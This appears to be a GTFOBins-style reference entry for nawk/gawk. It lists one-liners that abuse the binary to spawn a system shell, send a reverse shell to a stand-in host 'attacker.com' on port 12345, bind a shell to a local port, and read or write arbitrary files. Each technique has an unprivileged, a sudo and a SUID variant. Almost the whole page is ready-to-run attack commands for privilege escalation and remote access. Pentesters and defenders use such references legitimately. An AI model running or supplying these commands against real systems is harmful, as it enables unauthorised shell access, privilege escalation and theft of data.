nawk
This is an alias of gawk.
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
gawk 'BEGIN {system("/bin/sh")}'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.gawk 'BEGIN {system("/bin/sh")}'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.gawk 'BEGIN {system("/bin/sh")}'
Reverse shell
This executable can send back a reverse system shell to a listening attacker.
- This function can be performed by any unprivileged user.
gawk 'BEGIN { s = "/inet/tcp/0/attacker.com/12345"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.gawk 'BEGIN { s = "/inet/tcp/0/attacker.com/12345"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.gawk 'BEGIN { s = "/inet/tcp/0/attacker.com/12345"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
Bind shell
This executable can bind a system shell to a local port waiting for an attacker to connect.
- This function can be performed by any unprivileged user.
gawk 'BEGIN { s = "/inet/tcp/12345/0/0"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.gawk 'BEGIN { s = "/inet/tcp/12345/0/0"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.gawk 'BEGIN { s = "/inet/tcp/12345/0/0"; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
gawk '//' /path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.gawk '//' /path/to/input-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.gawk '//' /path/to/input-file